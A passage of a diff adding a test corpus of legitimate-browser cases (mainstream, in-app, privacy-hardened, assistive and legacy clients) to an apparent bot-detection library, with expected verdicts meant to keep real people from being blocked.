webview("app-steam-overlay", "The Steam in-game browser", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.234 Safari/537.36 Valve Steam GameOverlay/1740000000", "Steam's overlay browser opens links without leaving a game"),
|
|
2472
|
+
webview("app-office-webview", "A link opened from Microsoft Word", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.6613.186 Safari/537.36 Microsoft Office Word/16.0.18324", "Office applications open links through an embedded browser and announce the host application"),
|
|
2473
|
+
webview("app-teams-desktop", "Microsoft Teams' desktop client", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.6613.186 Electron/32.2.6 Safari/537.36 Teams/25.31.0", "Teams renders tabs and link previews in an embedded browser")
|
|
2474
|
+
];
|
|
2475
|
+
|
|
2476
|
+
// src/corpus/humans.ts
|
|
2477
|
+
function withCacheValidators(request) {
|
|
2478
|
+
const headers = [...request.headers];
|
|
2479
|
+
headers.splice(2, 0, ["Cache-Control", "max-age=0"], ["If-None-Match", '"a1b2c3d4"']);
|
|
2480
|
+
return { ...request, headers };
|
|
2481
|
+
}
|
|
2482
|
+
var CLEAN = [
|
|
2483
|
+
"self-identified",
|
|
2484
|
+
"header-integrity",
|
|
2485
|
+
"client-hints",
|
|
2486
|
+
"fetch-metadata",
|
|
2487
|
+
"accept-signature",
|
|
2488
|
+
"header-order",
|
|
2489
|
+
"trap",
|
|
2490
|
+
"ip-intelligence"
|
|
2491
|
+
];
|
|
2492
|
+
function pristine(id, title, request, provenance) {
|
|
2493
|
+
return human({
|
|
2494
|
+
id,
|
|
2495
|
+
title,
|
|
2496
|
+
category: "mainstream-browser",
|
|
2497
|
+
provenance,
|
|
2498
|
+
requests: [request],
|
|
2499
|
+
expect: { verdict: "unknown", maxScore: 0, notDetectors: CLEAN, action: "allow" }
|
|
2500
|
+
});
|
|
2501
|
+
}
|
|
2502
|
+
var HUMAN_CASES = [
|
|
2503
|
+
// ---------------------------------------------------------------------------
|
|
2504
|
+
// Applications that put their own address in the User-Agent.
|
|
2505
|
+
//
|
|
2506
|
+
// A great many do — native apps with a webview, desktop clients, anything whose
|
|
2507
|
+
// author wanted a server operator to be able to reach them. None of it says the
|
|
2508
|
+
// request is automated, and the person behind it is an ordinary customer. The
|
|
2509
|
+
// `self-identified` detector used to read a bare URL or email as the whole of a
|
|
2510
|
+
// self-declaration and reach `certain` on it, which is a proven bot verdict on a
|
|
2511
|
+
// person and the one thing this corpus exists to make impossible.
|
|
2512
|
+
// ---------------------------------------------------------------------------
|
|
2513
|
+
human({
|
|
2514
|
+
id: "app-webview-support-email",
|
|
2515
|
+
title: "A banking app's webview, naming its support address",
|
|
2516
|
+
category: "in-app-browser",
|
|
2517
|
+
provenance: "Native apps commonly append a product token and a contact to the system webview's User-Agent",
|
|
2518
|
+
notes: "Contains an email address and no crawler word anywhere. Believing a client's declaration is safe; inventing one for it is not.",
|
|
2519
|
+
requests: [
|
|
2520
|
+
plain(
|
|
2521
|
+
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/152.0.0.0 Safari/537.36 Notes/3.1 (support@notes.example)"
|
|
2522
|
+
)
|
|
2523
|
+
],
|
|
2524
|
+
expect: { certain: false, neverAction: DENYING_ACTIONS }
|
|
2525
|
+
}),
|
|
2526
|
+
human({
|
|
2527
|
+
id: "desktop-client-homepage-url",
|
|
2528
|
+
title: "A desktop client naming its homepage",
|
|
2529
|
+
category: "in-app-browser",
|
|
2530
|
+
provenance: "A bare https:// URL in a User-Agent, without the `+` crawler convention and without a crawler word",
|
|
2531
|
+
requests: [
|
|
2532
|
+
plain(
|
|
2533
|
+
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.7 Safari/605.1.15 Ledger/2.4 (https://ledger.example)"
|
|
2534
|
+
)
|
|
2535
|
+
],
|
|
2536
|
+
expect: { certain: false, neverAction: DENYING_ACTIONS }
|
|
2537
|
+
}),
|
|
2538
|
+
// ---------------------------------------------------------------------------
|
|
2539
|
+
// Mainstream desktop. If any of these ever fails, stop and fix it before
|
|
2540
|
+
// anything else in the library.
|
|
2541
|
+
// ---------------------------------------------------------------------------
|
|
2542
|
+
pristine("chrome-windows", "Chrome 152 on Windows 11", browser("chromeWindows"), "2026 User-Agent lists; Chromium freezes the minor version to 0.0.0"),
|
|
2543
|
+
pristine("chrome-macos", "Chrome 152 on macOS", browser("chromeMac"), "2026 User-Agent lists"),
|
|
2544
|
+
pristine("chrome-linux", "Chrome 152 on Linux", browser("chromeLinux"), "2026 User-Agent lists"),
|
|
2545
|
+
pristine("edge-windows", "Edge 150 on Windows", browser("edgeWindows"), "Edge reports Chromium brands alongside its own; UA carries Edg/"),
|
|
2546
|
+
pristine("firefox-windows", "Firefox 148 on Windows", browser("firefoxWindows"), "2026 User-Agent lists; Gecko sends no Client Hints"),
|
|
2547
|
+
pristine("firefox-linux", "Firefox 148 on Linux, German locale", browser("firefoxLinux"), "2026 User-Agent lists"),
|
|
2548
|
+
pristine("safari-macos", "Safari 18.7 on macOS", browser("safariMac"), "WebKit interleaves Sec-Fetch-* with content negotiation"),
|
|
2549
|
+
// ---------------------------------------------------------------------------
|
|
2550
|
+
// Mainstream mobile. More than half the web.
|
|
2551
|
+
// ---------------------------------------------------------------------------
|
|
2552
|
+
pristine("safari-ios", "Safari 18.7 on iPhone", browser("safariIos"), "2026 User-Agent lists"),
|
|
2553
|
+
pristine("chrome-android", "Chrome 150 on Android", browser("chromeAndroid"), "Android UA frozen to 'Android 10; K' since Chrome 110"),
|
|
2554
|
+
pristine("samsung-internet", "Samsung Internet 27 on a Galaxy S24", browser("samsungInternet"), "Chromium fork with its own product token; very common in Korea and India"),
|
|
2555
|
+
human({
|
|
2556
|
+
id: "chrome-android-cross-site-arrival",
|
|
2557
|
+
title: "Arriving on Android from a Google search result",
|
|
2558
|
+
category: "mainstream-browser",
|
|
2559
|
+
provenance: "Fetch Metadata spec: a cross-origin navigation reports Sec-Fetch-Site: cross-site",
|
|
2560
|
+
requests: [browser("chromeAndroid", { kind: "cross-site-navigate", referer: "https://www.google.com/" })],
|
|
2561
|
+
expect: { verdict: "unknown", maxScore: 0, action: "allow" }
|
|
2562
|
+
}),
|
|
2563
|
+
human({
|
|
2564
|
+
id: "safari-ios-xhr",
|
|
2565
|
+
title: "An in-page fetch() for JSON from iOS Safari",
|
|
2566
|
+
category: "mainstream-browser",
|
|
2567
|
+
provenance: "Fetch Metadata spec: same-origin cors/empty",
|
|
2568
|
+
notes: "Accept is */* here, and that is correct for fetch(). The accept-signature detector must not read it as a navigation.",
|
|
2569
|
+
requests: [{ ...browser("safariIos", { kind: "xhr" }), path: "/api/cart" }],
|
|
2570
|
+
expect: { verdict: "unknown", maxScore: 0, notDetectors: ["accept-signature"], action: "allow" }
|
|
2571
|
+
}),
|
|
2572
|
+
human({
|
|
2573
|
+
id: "chrome-subresource-image",
|
|
2574
|
+
title: "Chrome loading an image on the page",
|
|
2575
|
+
category: "mainstream-browser",
|
|
2576
|
+
provenance: "Fetch Metadata spec: no-cors/image",
|
|
2577
|
+
requests: [browser("chromeWindows", { kind: "subresource" })],
|
|
2578
|
+
expect: { verdict: "unknown", maxScore: 0, action: "allow" }
|
|
2579
|
+
}),
|
|
2580
|
+
// ---------------------------------------------------------------------------
|
|
2581
|
+
// In-app browsers. A large and growing share of mobile traffic, and the group
|
|
2582
|
+
// most likely to be misread: the UA is a real engine wearing an app's badge.
|
|
2583
|
+
// ---------------------------------------------------------------------------
|
|
2584
|
+
human({
|
|
2585
|
+
id: "instagram-webview-ios",
|
|
2586
|
+
title: "Tapping a link in Instagram on iOS",
|
|
2587
|
+
category: "in-app-webview",
|
|
2588
|
+
provenance: "Instagram appends an 'Instagram <version>' token plus device metadata; no Safari/ token remains",
|
|
2589
|
+
requests: [
|
|
2590
|
+
plain(
|
|
2591
|
+
"Mozilla/5.0 (iPhone; CPU iPhone OS 18_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 Instagram 361.0.0.31.98 (iPhone16,2; iOS 18_5; en_US; en; scale=3.00; 1290x2796; 682468081)",
|
|
2592
|
+
[["Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"], ["Accept-Language", "en-US,en;q=0.9"], ["Accept-Encoding", "gzip, deflate, br"]]
|
|
2593
|
+
)
|
|
2594
|
+
],
|
|
2595
|
+
expect: { verdict: "unknown", maxScore: 30, action: ["allow", "tag", "log"] }
|
|
2596
|
+
}),
|
|
2597
|
+
human({
|
|
2598
|
+
id: "facebook-webview-android",
|
|
2599
|
+
title: "Tapping a link in Facebook on Android",
|
|
2600
|
+
category: "in-app-webview",
|
|
2601
|
+
provenance: "Android Facebook webviews carry FB_IAB and FBAV tokens",
|
|
2602
|
+
requests: [
|
|
2603
|
+
plain(
|
|
2604
|
+
"Mozilla/5.0 (Linux; Android 14; SM-A546B Build/UP1A.231005.007; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/149.0.0.0 Mobile Safari/537.36 [FB_IAB/FB4A;FBAV/491.0.0.42.63;]",
|
|
2605
|
+
[["Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8"], ["Accept-Language", "en-GB,en;q=0.9"], ["Accept-Encoding", "gzip, deflate, br"], ["Sec-Fetch-Site", "none"], ["Sec-Fetch-Mode", "navigate"], ["Sec-Fetch-Dest", "document"]]
|
|
2606
|
+
)
|
|
2607
|
+
],
|
|
2608
|
+
expect: { verdict: ["unknown", "suspected-bot"], action: ["allow", "tag", "log", "delay", "challenge"] },
|
|
2609
|
+
notes: "An Android webview claims Chrome but sends no Sec-CH-UA, so it scores. It must never be denied."
|
|
2610
|
+
}),
|
|
2611
|
+
human({
|
|
2612
|
+
id: "tiktok-webview",
|
|
2613
|
+
title: "Tapping a link in TikTok",
|
|
2614
|
+
category: "in-app-webview",
|
|
2615
|
+
provenance: "TikTok webviews carry musical_ly or BytedanceWebview tokens",
|
|
2616
|
+
requests: [
|
|
2617
|
+
plain(
|
|
2618
|
+
"Mozilla/5.0 (Linux; Android 13; V2145 Build/TP1A.220624.014; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/143.0.0.0 Mobile Safari/537.36 musical_ly_2023905040 JsSdk/1.0 NetType/WIFI Channel/googleplay AppName/musical_ly app_version/39.5.4 ByteLocale/en ByteFullLocale/en Region/GB BytedanceWebview/d8a21c6",
|
|
2619
|
+
[["Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8"], ["Accept-Language", "en-GB,en;q=0.9"], ["Accept-Encoding", "gzip, deflate"]]
|
|
2620
|
+
)
|
|
2621
|
+
],
|
|
2622
|
+
expect: { verdict: ["unknown", "suspected-bot"], action: ["allow", "tag", "log", "delay", "challenge"] },
|
|
2623
|
+
notes: "Contains 'Bytedance' but NOT 'Bytespider'. A substring match on the vendor name here would block a person."
|
|
2624
|
+
}),
|
|
2625
|
+
human({
|
|
2626
|
+
id: "snapchat-webview",
|
|
2627
|
+
title: "Tapping a link in Snapchat",
|
|
2628
|
+
category: "in-app-webview",
|
|
2629
|
+
provenance: "Snapchat webviews append a Snapchat token",
|
|
2630
|
+
requests: [
|
|
2631
|
+
plain(
|
|
2632
|
+
"Mozilla/5.0 (iPhone; CPU iPhone OS 18_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 Snapchat/13.24.0.44 (like Safari/605.1.15)",
|
|
2633
|
+
[["Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"], ["Accept-Language", "en-US,en;q=0.9"], ["Accept-Encoding", "gzip, deflate, br"]]
|
|
2634
|
+
)
|
|
2635
|
+
],
|
|
2636
|
+
expect: { verdict: ["unknown", "suspected-bot"], action: ["allow", "tag", "log", "delay", "challenge"] }
|
|
2637
|
+
}),
|
|
2638
|
+
human({
|
|
2639
|
+
id: "linkedin-webview",
|
|
2640
|
+
title: "Tapping a link in the LinkedIn app",
|
|
2641
|
+
category: "in-app-webview",
|
|
2642
|
+
provenance: "LinkedIn webviews carry a LinkedInApp token",
|
|
2643
|
+
notes: "Distinct from LinkedInBot, which is the unfurler. One is a person; the other is not.",
|
|
2644
|
+
requests: [
|
|
2645
|
+
plain(
|
|
2646
|
+
"Mozilla/5.0 (iPhone; CPU iPhone OS 18_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 [LinkedInApp]",
|
|
2647
|
+
[["Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"], ["Accept-Language", "en-US,en;q=0.9"], ["Accept-Encoding", "gzip, deflate, br"]]
|
|
2648
|
+
)
|
|
2649
|
+
],
|
|
2650
|
+
expect: { verdict: ["unknown", "suspected-bot"], action: ["allow", "tag", "log", "delay", "challenge"] }
|
|
2651
|
+
}),
|
|
2652
|
+
human({
|
|
2653
|
+
id: "vscode-simple-browser",
|
|
2654
|
+
title: "A developer opening a page in VS Code's Simple Browser",
|
|
2655
|
+
category: "embedded-app",
|
|
2656
|
+
provenance: "Electron UA emitted by VS Code webviews. This exact case was a shipped bug: Electron sat in the headless signature set and produced a proven-automation verdict for a person, which then looped on the challenge.",
|
|
2657
|
+
requests: [
|
|
2658
|
+
plain(
|
|
2659
|
+
"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Code/1.95.3 Chrome/128.0.6613.36 Electron/32.2.1 Safari/537.36",
|
|
2660
|
+
[["Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8"], ["Accept-Language", "en-US"], ["Accept-Encoding", "gzip, deflate, br"], ["Sec-Fetch-Site", "none"], ["Sec-Fetch-Mode", "navigate"], ["Sec-Fetch-Dest", "document"]]
|
|
2661
|
+
)
|
|
2662
|
+
],
|
|
2663
|
+
expect: { certain: false, botClass: ["unknown", "impersonator"], action: ["allow", "tag", "log", "delay", "challenge"] },
|
|
2664
|
+
tags: ["regression"]
|
|
2665
|
+
}),
|
|
2666
|
+
human({
|
|
2667
|
+
id: "slack-desktop",
|
|
2668
|
+
title: "Slack's desktop app opening a link internally",
|
|
2669
|
+
category: "embedded-app",
|
|
2670
|
+
provenance: "Electron-based desktop client",
|
|
2671
|
+
requests: [
|
|
2672
|
+
plain(
|
|
2673
|
+
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Slack/4.44.65 Chrome/134.0.6998.205 Electron/35.7.5 Safari/537.36",
|
|
2674
|
+
[["Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"], ["Accept-Language", "en-GB"], ["Accept-Encoding", "gzip, deflate, br"]]
|
|
2675
|
+
)
|
|
2676
|
+
],
|
|
2677
|
+
expect: { certain: false, action: ["allow", "tag", "log", "delay", "challenge"] }
|
|
2678
|
+
}),
|
|
2679
|
+
// ---------------------------------------------------------------------------
|
|
2680
|
+
// Privacy-hardened clients. The population most likely to be misclassified, and
|
|
2681
|
+
// the one with the strongest reasons for its configuration.
|
|
2682
|
+
// ---------------------------------------------------------------------------
|
|
2683
|
+
human({
|
|
2684
|
+
id: "tor-browser",
|
|
2685
|
+
title: "Tor Browser",
|
|
2686
|
+
category: "privacy-hardened",
|
|
2687
|
+
provenance: "Tor Browser ships one frozen Firefox UA for every user on every platform, and normalises Accept-Language to en-US,en;q=0.5",
|
|
2688
|
+
notes: "The whole design goal is that every Tor user looks identical. It is Firefox-shaped and complete, so it should assess cleanly.",
|
|
2689
|
+
requests: [
|
|
2690
|
+
{
|
|
2691
|
+
headers: [
|
|
2692
|
+
["Host", "shop.example"],
|
|
2693
|
+
["User-Agent", "Mozilla/5.0 (Windows NT 10.0; rv:128.0) Gecko/20100101 Firefox/128.0"],
|
|
2694
|
+
["Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8"],
|
|
2695
|
+
["Accept-Language", "en-US,en;q=0.5"],
|
|
2696
|
+
["Accept-Encoding", "gzip, deflate, br"],
|
|
2697
|
+
["Connection", "keep-alive"],
|
|
2698
|
+
["Upgrade-Insecure-Requests", "1"],
|
|
2699
|
+
["Sec-Fetch-Dest", "document"],
|
|
2700
|
+
["Sec-Fetch-Mode", "navigate"],
|
|
2701
|
+
["Sec-Fetch-Site", "none"],
|
|
2702
|
+
["Sec-Fetch-User", "?1"]
|
|
2703
|
+
],
|
|
2704
|
+
protocol: "https",
|
|
2705
|
+
httpVersion: "1.1"
|
|
2706
|
+
}
|
|
2707
|
+
],
|
|
2708
|
+
expect: { verdict: "unknown", maxScore: 0, action: "allow" }
|
|
2709
|
+
}),
|
|
2710
|
+
human({
|
|
2711
|
+
id: "firefox-resist-fingerprinting",
|
|
2712
|
+
title: "Firefox with privacy.resistFingerprinting enabled",
|
|
2713
|
+
category: "privacy-hardened",
|
|
2714
|
+
provenance: "resistFingerprinting freezes the UA to a generic Windows Firefox ESR and pins Accept-Language to en-US",
|
|
2715
|
+
requests: [
|
|
2716
|
+
{
|
|
2717
|
+
headers: [
|
|
2718
|
+
["Host", "shop.example"],
|
|
2719
|
+
["User-Agent", "Mozilla/5.0 (Windows NT 10.0; rv:128.0) Gecko/20100101 Firefox/128.0"],
|
|
2720
|
+
["Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"],
|
|
2721
|
+
["Accept-Language", "en-US, en"],
|
|
2722
|
+
["Accept-Encoding", "gzip, deflate, br"],
|
|
2723
|
+
["Connection", "keep-alive"],
|
|
2724
|
+
["Upgrade-Insecure-Requests", "1"],
|
|
2725
|
+
["Sec-Fetch-Dest", "document"],
|
|
2726
|
+
["Sec-Fetch-Mode", "navigate"],
|
|
2727
|
+
["Sec-Fetch-Site", "none"],
|
|
2728
|
+
["Sec-Fetch-User", "?1"]
|
|
2729
|
+
],
|
|
2730
|
+
protocol: "https",
|
|
2731
|
+
httpVersion: "1.1"
|
|
2732
|
+
}
|
|
2733
|
+
],
|
|
2734
|
+
expect: { verdict: "unknown", maxScore: 20, action: ["allow", "tag", "log"] }
|
|
2735
|
+
}),
|
|
2736
|
+
human({
|
|
2737
|
+
id: "brave-shields",
|
|
2738
|
+
title: "Brave with Shields up",
|
|
2739
|
+
category: "privacy-hardened",
|
|
2740
|
+
provenance: "Brave presents an unmodified Chrome UA by design and does send Client Hints",
|
|
2741
|
+
requests: [browser("chromeWindows", { acceptLanguage: "en-US,en;q=0.9" })],
|
|
2742
|
+
expect: { verdict: "unknown", maxScore: 0, action: "allow" }
|
|
2743
|
+
}),
|
|
2744
|
+
human({
|
|
2745
|
+
id: "ua-spoofing-extension",
|
|
2746
|
+
title: "A person running a User-Agent spoofing extension",
|
|
2747
|
+
category: "privacy-hardened",
|
|
2748
|
+
provenance: "Extensions rewrite navigator.userAgent and the UA header but cannot rewrite Sec-CH-UA, so the two disagree",
|
|
2749
|
+
notes: "A real person, and the library will score them: this is the exact contradiction the client-hints detector looks for. It is why that detector is capped at `strong` and can never block. The corpus records the cost \u2014 a challenge \u2014 rather than pretending it is zero.",
|
|
2750
|
+
requests: [
|
|
2751
|
+
{
|
|
2752
|
+
headers: [
|
|
2753
|
+
["Host", "shop.example"],
|
|
2754
|
+
["Connection", "keep-alive"],
|
|
2755
|
+
["sec-ch-ua", '"Not(A:Brand";v="99", "Google Chrome";v="152", "Chromium";v="152"'],
|
|
2756
|
+
["sec-ch-ua-mobile", "?0"],
|
|
2757
|
+
["sec-ch-ua-platform", '"Windows"'],
|
|
2758
|
+
["Upgrade-Insecure-Requests", "1"],
|
|
2759
|
+
["User-Agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.7 Safari/605.1.15"],
|
|
2760
|
+
["Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"],
|
|
2761
|
+
["Sec-Fetch-Site", "none"],
|
|
2762
|
+
["Sec-Fetch-Mode", "navigate"],
|
|
2763
|
+
["Sec-Fetch-User", "?1"],
|
|
2764
|
+
["Sec-Fetch-Dest", "document"],
|
|
2765
|
+
["Accept-Encoding", "gzip, deflate, br"],
|
|
2766
|
+
["Accept-Language", "en-US,en;q=0.9"]
|
|
2767
|
+
],
|
|
2768
|
+
protocol: "https",
|
|
2769
|
+
httpVersion: "1.1"
|
|
2770
|
+
}
|
|
2771
|
+
],
|
|
2772
|
+
expect: { certain: false, action: ["allow", "tag", "log", "delay", "challenge", "rate-limit"] },
|
|
2773
|
+
tags: ["known-cost"]
|
|
2774
|
+
}),
|
|
2775
|
+
human({
|
|
2776
|
+
id: "cookies-blocked",
|
|
2777
|
+
title: "Somebody who blocks all cookies, browsing at length",
|
|
2778
|
+
category: "privacy-hardened",
|
|
2779
|
+
provenance: "session-integrity reports an actor that never returns any cookie after a dozen requests",
|
|
2780
|
+
notes: "Blocking cookies is a legitimate choice made by real people. The detector is capped at moderate for exactly this case.",
|
|
2781
|
+
requests: humanPaced(browser("chromeWindows", { kind: "same-origin-navigate", referer: "https://shop.example/" }), [
|
|
2782
|
+
"/",
|
|
2783
|
+
"/products",
|
|
2784
|
+
"/products/7",
|
|
2785
|
+
"/products/12",
|
|
2786
|
+
"/about",
|
|
2787
|
+
"/products/31",
|
|
2788
|
+
"/search?q=lamp",
|
|
2789
|
+
"/products/44",
|
|
2790
|
+
"/basket",
|
|
2791
|
+
"/products/9",
|
|
2792
|
+
"/delivery",
|
|
2793
|
+
"/products/18",
|
|
2794
|
+
"/contact",
|
|
2795
|
+
"/products/2"
|
|
2796
|
+
]),
|
|
2797
|
+
expect: { certain: false, action: ["allow", "tag", "log", "delay", "challenge", "rate-limit"] },
|
|
2798
|
+
tags: ["known-cost"]
|
|
2799
|
+
}),
|
|
2800
|
+
// ---------------------------------------------------------------------------
|
|
2801
|
+
// Assistive technology and text clients. Small populations, high stakes: these
|
|
2802
|
+
// are people for whom an alternative route around a block usually does not exist.
|
|
2803
|
+
// ---------------------------------------------------------------------------
|
|
2804
|
+
human({
|
|
2805
|
+
id: "lynx-text-browser",
|
|
2806
|
+
title: "Lynx, a text-mode browser",
|
|
2807
|
+
category: "assistive",
|
|
2808
|
+
provenance: "Lynx is used with refreshable braille displays and over slow links; it renders no JavaScript at all",
|
|
2809
|
+
notes: "A JavaScript challenge locks this person out permanently. That is the argument for contactHtml being mandatory.",
|
|
2810
|
+
requests: [
|
|
2811
|
+
{
|
|
2812
|
+
headers: [
|
|
2813
|
+
["Host", "shop.example"],
|
|
2814
|
+
["Accept", "text/html, text/plain, text/sgml, text/css, application/xhtml+xml, */*;q=0.01"],
|
|
2815
|
+
["Accept-Encoding", "gzip, compress, bzip2"],
|
|
2816
|
+
["Accept-Language", "en"],
|
|
2817
|
+
["User-Agent", "Lynx/2.9.2 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/3.0.14"]
|
|
2818
|
+
],
|
|
2819
|
+
protocol: "https",
|
|
2820
|
+
httpVersion: "1.1"
|
|
2821
|
+
}
|
|
2822
|
+
],
|
|
2823
|
+
expect: { certain: false, action: ["allow", "tag", "log", "delay", "challenge", "rate-limit"] },
|
|
2824
|
+
tags: ["known-cost", "accessibility"]
|
|
2825
|
+
}),
|
|
2826
|
+
human({
|
|
2827
|
+
id: "w3m-text-browser",
|
|
2828
|
+
title: "w3m, a text-mode browser",
|
|
2829
|
+
category: "assistive",
|
|
2830
|
+
provenance: "Common in terminal workflows and on low-bandwidth connections",
|
|
2831
|
+
requests: [
|
|
2832
|
+
{
|
|
2833
|
+
headers: [
|
|
2834
|
+
["Host", "shop.example"],
|
|
2835
|
+
["User-Agent", "w3m/0.5.3+git20230121"],
|
|
2836
|
+
["Accept", "text/html, text/*;q=0.5, image/*, application/*, audio/*, */*;q=0.1"],
|
|
2837
|
+
["Accept-Encoding", "gzip, deflate, br"],
|
|
2838
|
+
["Accept-Language", "en;q=1.0"]
|
|
2839
|
+
],
|
|
2840
|
+
protocol: "https",
|
|
2841
|
+
httpVersion: "1.1"
|
|
2842
|
+
}
|
|
2843
|
+
],
|
|
2844
|
+
expect: { certain: false, action: ["allow", "tag", "log", "delay", "challenge", "rate-limit"] },
|
|
2845
|
+
tags: ["known-cost", "accessibility"]
|
|
2846
|
+
}),
|
|
2847
|
+
human({
|
|
2848
|
+
id: "screen-reader-firefox",
|
|
2849
|
+
title: "NVDA driving Firefox",
|
|
2850
|
+
category: "assistive",
|
|
2851
|
+
provenance: "A screen reader reads the rendered page; the HTTP request is an ordinary Firefox request",
|
|
2852
|
+
notes: "There is no header that distinguishes this from any other Firefox. It is here to make that point explicit: assistive technology is invisible at the HTTP layer, and any heuristic claiming to spot it is wrong.",
|
|
2853
|
+
requests: [browser("firefoxWindows")],
|
|
2854
|
+
expect: { verdict: "unknown", maxScore: 0, action: "allow" },
|
|
2855
|
+
tags: ["accessibility"]
|
|
2856
|
+
}),
|
|
2857
|
+
// ---------------------------------------------------------------------------
|
|
2858
|
+
// Old and unusual devices. Disproportionately owned by people who cannot
|
|
2859
|
+
// simply buy a newer one.
|
|
2860
|
+
// ---------------------------------------------------------------------------
|
|
2861
|
+
human({
|
|
2862
|
+
id: "internet-explorer-11",
|
|
2863
|
+
title: "Internet Explorer 11 on Windows 10",
|
|
2864
|
+
category: "legacy-client",
|
|
2865
|
+
provenance: "Still present in government, healthcare and industrial deployments",
|
|
2866
|
+
requests: [
|
|
2867
|
+
{
|
|
2868
|
+
headers: [
|
|
2869
|
+
["Accept", "text/html, application/xhtml+xml, image/jxr, */*"],
|
|
2870
|
+
["Accept-Language", "en-GB"],
|
|
2871
|
+
["User-Agent", "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"],
|
|
2872
|
+
["Accept-Encoding", "gzip, deflate"],
|
|
2873
|
+
["Host", "shop.example"],
|
|
2874
|
+
["Connection", "Keep-Alive"]
|
|
2875
|
+
],
|
|
2876
|
+
protocol: "https",
|
|
2877
|
+
httpVersion: "1.1"
|
|
2878
|
+
}
|
|
2879
|
+
],
|
|
2880
|
+
expect: { certain: false, action: ["allow", "tag", "log", "delay", "challenge", "rate-limit"] },
|
|
2881
|
+
notes: "Note the header order: IE sends Host near the end, which trips the weakest header-order rule.",
|
|
2882
|
+
tags: ["known-cost"]
|
|
2883
|
+
}),
|
|
2884
|
+
human({
|
|
2885
|
+
id: "android-4-webview",
|
|
2886
|
+
title: "A ten-year-old Android tablet",
|
|
2887
|
+
category: "legacy-client",
|
|
2888
|
+
provenance: "Android 4.4 stock browser UA",
|
|
2889
|
+
requests: [
|
|
2890
|
+
plain(
|
|
2891
|
+
"Mozilla/5.0 (Linux; U; Android 4.4.2; en-gb; SM-T230 Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30",
|
|
2892
|
+
[["Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"], ["Accept-Language", "en-GB, en-US"], ["Accept-Encoding", "gzip, deflate"]]
|
|
2893
|
+
)
|
|
2894
|
+
],
|
|
2895
|
+
expect: { certain: false, action: ["allow", "tag", "log", "delay", "challenge", "rate-limit"] }
|
|
2896
|
+
}),
|
|
2897
|
+
human({
|
|
2898
|
+
id: "smart-tv-browser",
|
|
2899
|
+
title: "A smart TV browser",
|
|
2900
|
+
category: "legacy-client",
|
|
2901
|
+
provenance: "Tizen browser on a Samsung television",
|
|
2902
|
+
requests: [
|
|
2903
|
+
plain(
|
|
2904
|
+
"Mozilla/5.0 (SMART-TV; LINUX; Tizen 7.0) AppleWebKit/537.36 (KHTML, like Gecko) 94.0.4606.31/7.0 TV Safari/537.36",
|
|
2905
|
+
[["Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"], ["Accept-Language", "en-US"], ["Accept-Encoding", "gzip, deflate"]]
|
|
2906
|
+
)
|
|
2907
|
+
],
|
|
2908
|
+
expect: { certain: false, action: ["allow", "tag", "log", "delay", "challenge", "rate-limit"] }
|
|
2909
|
+
}),
|
|
2910
|
+
human({
|
|
2911
|
+
id: "playstation-browser",
|
|
2912
|
+
title: "A games console browser",
|
|
2913
|
+
category: "legacy-client",
|
|
2914
|
+
provenance: "PlayStation 5 system browser",
|
|
2915
|
+
requests: [
|
|
2916
|
+
plain(
|
|
2917
|
+
"Mozilla/5.0 (PlayStation; PlayStation 5/8.20) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.0 Safari/605.1.15",
|
|
2918
|
+
[["Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"], ["Accept-Language", "en-GB"], ["Accept-Encoding", "gzip, deflate, br"]]
|
|
2919
|
+
)
|
|
2920
|
+
],
|
|
2921
|
+
expect: { certain: false, action: ["allow", "tag", "log", "delay", "challenge", "rate-limit"] }
|
|
2922
|
+
}),
|
|
2923
|
+
// ---------------------------------------------------------------------------
|
|
2924
|
+
// Normal browsing shapes. These exercise the behavioural detectors with traffic
|
|
2925
|
+
// that must not trigger them.
|
|
2926
|
+
// ---------------------------------------------------------------------------
|
|
2927
|
+
human({
|
|
2928
|
+
id: "reading-session",
|
|
2929
|
+
title: "A person reading a shop at human pace",
|
|
2930
|
+
category: "behaviour",
|
|
2931
|
+
provenance: "Irregular gaps, repeat visits, a referer chain and a session cookie",
|
|
2932
|
+
